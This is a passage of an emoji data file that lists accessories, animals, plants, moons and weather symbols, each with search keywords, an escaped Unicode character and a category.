    category: "people"
  },
  flat_shoe: {
    keywords: [ "ballet", "slip-on", "slipper" ],
    char: "\ud83e\udd7f",
    fitzpatrick_scale: false,
    category: "people"
  },
  high_heel: {
    keywords: [ "fashion", "shoes", "female", "pumps", "stiletto" ],
    char: "\ud83d\udc60",
    fitzpatrick_scale: false,
    category: "people"
  },
  sandal: {
    keywords: [ "shoes", "fashion", "flip flops" ],
    char: "\ud83d\udc61",
    fitzpatrick_scale: false,
    category: "people"
  },
  boot: {
    keywords: [ "shoes", "fashion" ],
    char: "\ud83d\udc62",
    fitzpatrick_scale: false,
    category: "people"
  },
  mans_shoe: {
    keywords: [ "fashion", "male" ],
    char: "\ud83d\udc5e",
    fitzpatrick_scale: false,
    category: "people"
  },
  athletic_shoe: {
    keywords: [ "shoes", "sports", "sneakers" ],
    char: "\ud83d\udc5f",
    fitzpatrick_scale: false,
    category: "people"
  },
  hiking_boot: {
    keywords: [ "backpacking", "camping", "hiking" ],
    char: "\ud83e\udd7e",
    fitzpatrick_scale: false,
    category: "people"
  },
  socks: {
    keywords: [ "stockings", "clothes" ],
    char: "\ud83e\udde6",
    fitzpatrick_scale: false,
    category: "people"
  },
  gloves: {
    keywords: [ "hands", "winter", "clothes" ],
    char: "\ud83e\udde4",
    fitzpatrick_scale: false,
    category: "people"
  },
  scarf: {
    keywords: [ "neck", "winter", "clothes" ],
    char: "\ud83e\udde3",
    fitzpatrick_scale: false,
    category: "people"
  },
  womans_hat: {
    keywords: [ "fashion", "accessories", "female", "lady", "spring" ],
    char: "\ud83d\udc52",
    fitzpatrick_scale: false,
    category: "people"
  },
  tophat: {
    keywords: [ "magic", "gentleman", "classy", "circus" ],
    char: "\ud83c\udfa9",
    fitzpatrick_scale: false,
    category: "people"
  },
  billed_hat: {
    keywords: [ "cap", "baseball" ],
    char: "\ud83e\udde2",
    fitzpatrick_scale: false,
    category: "people"
  },
  rescue_worker_helmet: {
    keywords: [ "construction", "build" ],
    char: "\u26d1",
    fitzpatrick_scale: false,
    category: "people"
  },
  mortar_board: {
    keywords: [ "school", "college", "degree", "university", "graduation", "cap", "hat", "legal", "learn", "education" ],
    char: "\ud83c\udf93",
    fitzpatrick_scale: false,
    category: "people"
  },
  crown: {
    keywords: [ "king", "kod", "leader", "royalty", "lord" ],
    char: "\ud83d\udc51",
    fitzpatrick_scale: false,
    category: "people"
  },
  school_satchel: {
    keywords: [ "student", "education", "bag", "backpack" ],
    char: "\ud83c\udf92",
    fitzpatrick_scale: false,
    category: "people"
  },
  luggage: {
    keywords: [ "packing", "travel" ],
    char: "\ud83e\uddf3",
    fitzpatrick_scale: false,
    category: "people"
  },
  pouch: {
    keywords: [ "bag", "accessories", "shopping" ],
    char: "\ud83d\udc5d",
    fitzpatrick_scale: false,
    category: "people"
  },
  purse: {
    keywords: [ "fashion", "accessories", "money", "sales", "shopping" ],
    char: "\ud83d\udc5b",
    fitzpatrick_scale: false,
    category: "people"
  },
  handbag: {
    keywords: [ "fashion", "accessory", "accessories", "shopping" ],
    char: "\ud83d\udc5c",
    fitzpatrick_scale: false,
    category: "people"
  },
  briefcase: {
    keywords: [ "business", "documents", "work", "law", "legal", "job", "career" ],
    char: "\ud83d\udcbc",
    fitzpatrick_scale: false,
    category: "people"
  },
  eyeglasses: {
    keywords: [ "fashion", "accessories", "eyesight", "nerdy", "dork", "geek" ],
    char: "\ud83d\udc53",
    fitzpatrick_scale: false,
    category: "people"
  },
  dark_sunglasses: {
    keywords: [ "face", "cool", "accessories" ],
    char: "\ud83d\udd76",
    fitzpatrick_scale: false,
    category: "people"
  },
  goggles: {
    keywords: [ "eyes", "protection", "safety" ],
    char: "\ud83e\udd7d",
    fitzpatrick_scale: false,
    category: "people"
  },
  ring: {
    keywords: [ "wedding", "propose", "marriage", "valentines", "diamond", "fashion", "jewelry", "gem", "engagement" ],
    char: "\ud83d\udc8d",
    fitzpatrick_scale: false,
    category: "people"
  },
  closed_umbrella: {
    keywords: [ "weather", "rain", "drizzle" ],
    char: "\ud83c\udf02",
    fitzpatrick_scale: false,
    category: "people"
  },
  dog: {
    keywords: [ "animal", "friend", "nature", "woof", "puppy", "pet", "faithful" ],
    char: "\ud83d\udc36",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cat: {
    keywords: [ "animal", "meow", "nature", "pet", "kitten" ],
    char: "\ud83d\udc31",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  mouse: {
    keywords: [ "animal", "nature", "cheese_wedge", "rodent" ],
    char: "\ud83d\udc2d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hamster: {
    keywords: [ "animal", "nature" ],
    char: "\ud83d\udc39",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rabbit: {
    keywords: [ "animal", "nature", "pet", "spring", "magic", "bunny" ],
    char: "\ud83d\udc30",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fox_face: {
    keywords: [ "animal", "nature", "face" ],
    char: "\ud83e\udd8a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bear: {
    keywords: [ "animal", "nature", "wild" ],
    char: "\ud83d\udc3b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  panda_face: {
    keywords: [ "animal", "nature", "panda" ],
    char: "\ud83d\udc3c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  koala: {
    keywords: [ "animal", "nature" ],
    char: "\ud83d\udc28",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tiger: {
    keywords: [ "animal", "cat", "danger", "wild", "nature", "roar" ],
    char: "\ud83d\udc2f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  lion: {
    keywords: [ "animal", "nature" ],
    char: "\ud83e\udd81",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cow: {
    keywords: [ "beef", "ox", "animal", "nature", "moo", "milk" ],
    char: "\ud83d\udc2e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  pig: {
    keywords: [ "animal", "oink", "nature" ],
    char: "\ud83d\udc37",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  pig_nose: {
    keywords: [ "animal", "oink" ],
    char: "\ud83d\udc3d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  frog: {
    keywords: [ "animal", "nature", "croak", "toad" ],
    char: "\ud83d\udc38",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  squid: {
    keywords: [ "animal", "nature", "ocean", "sea" ],
    char: "\ud83e\udd91",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  octopus: {
    keywords: [ "animal", "creature", "ocean", "sea", "nature", "beach" ],
    char: "\ud83d\udc19",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  shrimp: {
    keywords: [ "animal", "ocean", "nature", "seafood" ],
    char: "\ud83e\udd90",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  monkey_face: {
    keywords: [ "animal", "nature", "circus" ],
    char: "\ud83d\udc35",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  gorilla: {
    keywords: [ "animal", "nature", "circus" ],
    char: "\ud83e\udd8d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  see_no_evil: {
    keywords: [ "monkey", "animal", "nature", "haha" ],
    char: "\ud83d\ude48",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hear_no_evil: {
    keywords: [ "animal", "monkey", "nature" ],
    char: "\ud83d\ude49",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  speak_no_evil: {
    keywords: [ "monkey", "animal", "nature", "omg" ],
    char: "\ud83d\ude4a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  monkey: {
    keywords: [ "animal", "nature", "banana", "circus" ],
    char: "\ud83d\udc12",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  chicken: {
    keywords: [ "animal", "cluck", "nature", "bird" ],
    char: "\ud83d\udc14",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  penguin: {
    keywords: [ "animal", "nature" ],
    char: "\ud83d\udc27",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bird: {
    keywords: [ "animal", "nature", "fly", "tweet", "spring" ],
    char: "\ud83d\udc26",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  baby_chick: {
    keywords: [ "animal", "chicken", "bird" ],
    char: "\ud83d\udc24",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hatching_chick: {
    keywords: [ "animal", "chicken", "egg", "born", "baby", "bird" ],
    char: "\ud83d\udc23",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hatched_chick: {
    keywords: [ "animal", "chicken", "baby", "bird" ],
    char: "\ud83d\udc25",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  duck: {
    keywords: [ "animal", "nature", "bird", "mallard" ],
    char: "\ud83e\udd86",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  eagle: {
    keywords: [ "animal", "nature", "bird" ],
    char: "\ud83e\udd85",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  owl: {
    keywords: [ "animal", "nature", "bird", "hoot" ],
    char: "\ud83e\udd89",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bat: {
    keywords: [ "animal", "nature", "blind", "vampire" ],
    char: "\ud83e\udd87",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  wolf: {
    keywords: [ "animal", "nature", "wild" ],
    char: "\ud83d\udc3a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  boar: {
    keywords: [ "animal", "nature" ],
    char: "\ud83d\udc17",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  horse: {
    keywords: [ "animal", "brown", "nature" ],
    char: "\ud83d\udc34",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  unicorn: {
    keywords: [ "animal", "nature", "mystical" ],
    char: "\ud83e\udd84",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  honeybee: {
    keywords: [ "animal", "insect", "nature", "bug", "spring", "honey" ],
    char: "\ud83d\udc1d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bug: {
    keywords: [ "animal", "insect", "nature", "worm" ],
    char: "\ud83d\udc1b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  butterfly: {
    keywords: [ "animal", "insect", "nature", "caterpillar" ],
    char: "\ud83e\udd8b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snail: {
    keywords: [ "slow", "animal", "shell" ],
    char: "\ud83d\udc0c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  beetle: {
    keywords: [ "animal", "insect", "nature", "ladybug" ],
    char: "\ud83d\udc1e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ant: {
    keywords: [ "animal", "insect", "nature", "bug" ],
    char: "\ud83d\udc1c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  grasshopper: {
    keywords: [ "animal", "cricket", "chirp" ],
    char: "\ud83e\udd97",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  spider: {
    keywords: [ "animal", "arachnid" ],
    char: "\ud83d\udd77",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  scorpion: {
    keywords: [ "animal", "arachnid" ],
    char: "\ud83e\udd82",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  crab: {
    keywords: [ "animal", "crustacean" ],
    char: "\ud83e\udd80",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  snake: {
    keywords: [ "animal", "evil", "nature", "hiss", "python" ],
    char: "\ud83d\udc0d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  lizard: {
    keywords: [ "animal", "nature", "reptile" ],
    char: "\ud83e\udd8e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  "t-rex": {
    keywords: [ "animal", "nature", "dinosaur", "tyrannosaurus", "extinct" ],
    char: "\ud83e\udd96",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sauropod: {
    keywords: [ "animal", "nature", "dinosaur", "brachiosaurus", "brontosaurus", "diplodocus", "extinct" ],
    char: "\ud83e\udd95",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  turtle: {
    keywords: [ "animal", "slow", "nature", "tortoise" ],
    char: "\ud83d\udc22",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tropical_fish: {
    keywords: [ "animal", "swim", "ocean", "beach", "nemo" ],
    char: "\ud83d\udc20",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fish: {
    keywords: [ "animal", "food", "nature" ],
    char: "\ud83d\udc1f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  blowfish: {
    keywords: [ "animal", "nature", "food", "sea", "ocean" ],
    char: "\ud83d\udc21",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dolphin: {
    keywords: [ "animal", "nature", "fish", "sea", "ocean", "flipper", "fins", "beach" ],
    char: "\ud83d\udc2c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  shark: {
    keywords: [ "animal", "nature", "fish", "sea", "ocean", "jaws", "fins", "beach" ],
    char: "\ud83e\udd88",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  whale: {
    keywords: [ "animal", "nature", "sea", "ocean" ],
    char: "\ud83d\udc33",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  whale2: {
    keywords: [ "animal", "nature", "sea", "ocean" ],
    char: "\ud83d\udc0b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  crocodile: {
    keywords: [ "animal", "nature", "reptile", "lizard", "alligator" ],
    char: "\ud83d\udc0a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  leopard: {
    keywords: [ "animal", "nature" ],
    char: "\ud83d\udc06",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  zebra: {
    keywords: [ "animal", "nature", "stripes", "safari" ],
    char: "\ud83e\udd93",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tiger2: {
    keywords: [ "animal", "nature", "roar" ],
    char: "\ud83d\udc05",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  water_buffalo: {
    keywords: [ "animal", "nature", "ox", "cow" ],
    char: "\ud83d\udc03",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ox: {
    keywords: [ "animal", "cow", "beef" ],
    char: "\ud83d\udc02",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cow2: {
    keywords: [ "beef", "ox", "animal", "nature", "moo", "milk" ],
    char: "\ud83d\udc04",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  deer: {
    keywords: [ "animal", "nature", "horns", "venison" ],
    char: "\ud83e\udd8c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dromedary_camel: {
    keywords: [ "animal", "hot", "desert", "hump" ],
    char: "\ud83d\udc2a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  camel: {
    keywords: [ "animal", "nature", "hot", "desert", "hump" ],
    char: "\ud83d\udc2b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  giraffe: {
    keywords: [ "animal", "nature", "spots", "safari" ],
    char: "\ud83e\udd92",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  elephant: {
    keywords: [ "animal", "nature", "nose", "th", "circus" ],
    char: "\ud83d\udc18",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rhinoceros: {
    keywords: [ "animal", "nature", "horn" ],
    char: "\ud83e\udd8f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  goat: {
    keywords: [ "animal", "nature" ],
    char: "\ud83d\udc10",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ram: {
    keywords: [ "animal", "sheep", "nature" ],
    char: "\ud83d\udc0f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sheep: {
    keywords: [ "animal", "nature", "wool", "shipit" ],
    char: "\ud83d\udc11",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  racehorse: {
    keywords: [ "animal", "gamble", "luck" ],
    char: "\ud83d\udc0e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  pig2: {
    keywords: [ "animal", "nature" ],
    char: "\ud83d\udc16",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rat: {
    keywords: [ "animal", "mouse", "rodent" ],
    char: "\ud83d\udc00",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  mouse2: {
    keywords: [ "animal", "nature", "rodent" ],
    char: "\ud83d\udc01",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rooster: {
    keywords: [ "animal", "nature", "chicken" ],
    char: "\ud83d\udc13",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  turkey: {
    keywords: [ "animal", "bird" ],
    char: "\ud83e\udd83",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dove: {
    keywords: [ "animal", "bird" ],
    char: "\ud83d\udd4a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dog2: {
    keywords: [ "animal", "nature", "friend", "doge", "pet", "faithful" ],
    char: "\ud83d\udc15",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  poodle: {
    keywords: [ "dog", "animal", "101", "nature", "pet" ],
    char: "\ud83d\udc29",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cat2: {
    keywords: [ "animal", "meow", "pet", "cats" ],
    char: "\ud83d\udc08",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rabbit2: {
    keywords: [ "animal", "nature", "pet", "magic", "spring" ],
    char: "\ud83d\udc07",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  chipmunk: {
    keywords: [ "animal", "nature", "rodent", "squirrel" ],
    char: "\ud83d\udc3f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hedgehog: {
    keywords: [ "animal", "nature", "spiny" ],
    char: "\ud83e\udd94",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  raccoon: {
    keywords: [ "animal", "nature" ],
    char: "\ud83e\udd9d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  llama: {
    keywords: [ "animal", "nature", "alpaca" ],
    char: "\ud83e\udd99",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hippopotamus: {
    keywords: [ "animal", "nature" ],
    char: "\ud83e\udd9b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  kangaroo: {
    keywords: [ "animal", "nature", "australia", "joey", "hop", "marsupial" ],
    char: "\ud83e\udd98",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  badger: {
    keywords: [ "animal", "nature", "honey" ],
    char: "\ud83e\udda1",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  swan: {
    keywords: [ "animal", "nature", "bird" ],
    char: "\ud83e\udda2",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  peacock: {
    keywords: [ "animal", "nature", "peahen", "bird" ],
    char: "\ud83e\udd9a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  parrot: {
    keywords: [ "animal", "nature", "bird", "pirate", "talk" ],
    char: "\ud83e\udd9c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  lobster: {
    keywords: [ "animal", "nature", "bisque", "claws", "seafood" ],
    char: "\ud83e\udd9e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  mosquito: {
    keywords: [ "animal", "nature", "insect", "malaria" ],
    char: "\ud83e\udd9f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  paw_prints: {
    keywords: [ "animal", "tracking", "footprints", "dog", "cat", "pet", "feet" ],
    char: "\ud83d\udc3e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dragon: {
    keywords: [ "animal", "myth", "nature", "chinese", "green" ],
    char: "\ud83d\udc09",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dragon_face: {
    keywords: [ "animal", "myth", "nature", "chinese", "green" ],
    char: "\ud83d\udc32",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cactus: {
    keywords: [ "vegetable", "plant", "nature" ],
    char: "\ud83c\udf35",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  christmas_tree: {
    keywords: [ "festival", "vacation", "december", "xmas", "celebration" ],
    char: "\ud83c\udf84",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  evergreen_tree: {
    keywords: [ "plant", "nature" ],
    char: "\ud83c\udf32",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  deciduous_tree: {
    keywords: [ "plant", "nature" ],
    char: "\ud83c\udf33",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  palm_tree: {
    keywords: [ "plant", "vegetable", "nature", "summer", "beach", "mojito", "tropical" ],
    char: "\ud83c\udf34",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  seedling: {
    keywords: [ "plant", "nature", "grass", "lawn", "spring" ],
    char: "\ud83c\udf31",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  herb: {
    keywords: [ "vegetable", "plant", "medicine", "weed", "grass", "lawn" ],
    char: "\ud83c\udf3f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  shamrock: {
    keywords: [ "vegetable", "plant", "nature", "irish", "clover" ],
    char: "\u2618",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  four_leaf_clover: {
    keywords: [ "vegetable", "plant", "nature", "lucky", "irish" ],
    char: "\ud83c\udf40",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bamboo: {
    keywords: [ "plant", "nature", "vegetable", "panda", "pine_decoration" ],
    char: "\ud83c\udf8d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tanabata_tree: {
    keywords: [ "plant", "nature", "branch", "summer" ],
    char: "\ud83c\udf8b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  leaves: {
    keywords: [ "nature", "plant", "tree", "vegetable", "grass", "lawn", "spring" ],
    char: "\ud83c\udf43",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  fallen_leaf: {
    keywords: [ "nature", "plant", "vegetable", "leaves" ],
    char: "\ud83c\udf42",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  maple_leaf: {
    keywords: [ "nature", "plant", "vegetable", "ca", "fall" ],
    char: "\ud83c\udf41",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  ear_of_rice: {
    keywords: [ "nature", "plant" ],
    char: "\ud83c\udf3e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  hibiscus: {
    keywords: [ "plant", "vegetable", "flowers", "beach" ],
    char: "\ud83c\udf3a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sunflower: {
    keywords: [ "nature", "plant", "fall" ],
    char: "\ud83c\udf3b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  rose: {
    keywords: [ "flowers", "valentines", "love", "spring" ],
    char: "\ud83c\udf39",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  wilted_flower: {
    keywords: [ "plant", "nature", "flower" ],
    char: "\ud83e\udd40",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  tulip: {
    keywords: [ "flowers", "plant", "nature", "summer", "spring" ],
    char: "\ud83c\udf37",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  blossom: {
    keywords: [ "nature", "flowers", "yellow" ],
    char: "\ud83c\udf3c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cherry_blossom: {
    keywords: [ "nature", "plant", "spring", "flower" ],
    char: "\ud83c\udf38",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  bouquet: {
    keywords: [ "flowers", "nature", "spring" ],
    char: "\ud83d\udc90",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  mushroom: {
    keywords: [ "plant", "vegetable" ],
    char: "\ud83c\udf44",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  chestnut: {
    keywords: [ "food", "squirrel" ],
    char: "\ud83c\udf30",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  jack_o_lantern: {
    keywords: [ "halloween", "light", "pumpkin", "creepy", "fall" ],
    char: "\ud83c\udf83",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  shell: {
    keywords: [ "nature", "sea", "beach" ],
    char: "\ud83d\udc1a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  spider_web: {
    keywords: [ "animal", "insect", "arachnid", "silk" ],
    char: "\ud83d\udd78",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  earth_americas: {
    keywords: [ "globe", "world", "USA", "international" ],
    char: "\ud83c\udf0e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  earth_africa: {
    keywords: [ "globe", "world", "international" ],
    char: "\ud83c\udf0d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  earth_asia: {
    keywords: [ "globe", "world", "east", "international" ],
    char: "\ud83c\udf0f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  full_moon: {
    keywords: [ "nature", "yellow", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf15",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  waning_gibbous_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep", "waxing_gibbous_moon" ],
    char: "\ud83c\udf16",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  last_quarter_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf17",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  waning_crescent_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf18",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  new_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf11",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  waxing_crescent_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf12",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  first_quarter_moon: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf13",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  waxing_gibbous_moon: {
    keywords: [ "nature", "night", "sky", "gray", "twilight", "planet", "space", "evening", "sleep" ],
    char: "\ud83c\udf14",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  new_moon_with_face: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf1a",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  full_moon_with_face: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf1d",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  first_quarter_moon_with_face: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf1b",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  last_quarter_moon_with_face: {
    keywords: [ "nature", "twilight", "planet", "space", "night", "evening", "sleep" ],
    char: "\ud83c\udf1c",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sun_with_face: {
    keywords: [ "nature", "morning", "sky" ],
    char: "\ud83c\udf1e",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  crescent_moon: {
    keywords: [ "night", "sleep", "sky", "evening", "magic" ],
    char: "\ud83c\udf19",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  star: {
    keywords: [ "night", "yellow" ],
    char: "\u2b50",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  star2: {
    keywords: [ "night", "sparkle", "awesome", "good", "magic" ],
    char: "\ud83c\udf1f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  dizzy: {
    keywords: [ "star", "sparkle", "shoot", "magic" ],
    char: "\ud83d\udcab",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sparkles: {
    keywords: [ "stars", "shine", "shiny", "cool", "awesome", "good", "magic" ],
    char: "\u2728",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  comet: {
    keywords: [ "space" ],
    char: "\u2604",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sunny: {
    keywords: [ "weather", "nature", "brightness", "summer", "beach", "spring" ],
    char: "\u2600\ufe0f",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sun_behind_small_cloud: {
    keywords: [ "weather" ],
    char: "\ud83c\udf24",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  partly_sunny: {
    keywords: [ "weather", "nature", "cloudy", "morning", "fall", "spring" ],
    char: "\u26c5",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sun_behind_large_cloud: {
    keywords: [ "weather" ],
    char: "\ud83c\udf25",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  sun_behind_rain_cloud: {
    keywords: [ "weather" ],
    char: "\ud83c\udf26",
    fitzpatrick_scale: false,
    category: "animals_and_nature"
  },
  cloud: {
    keywords: [ "weather", "sky" ],
    char: "\u2601\ufe0f",
    fitzpatrick_scale: false,
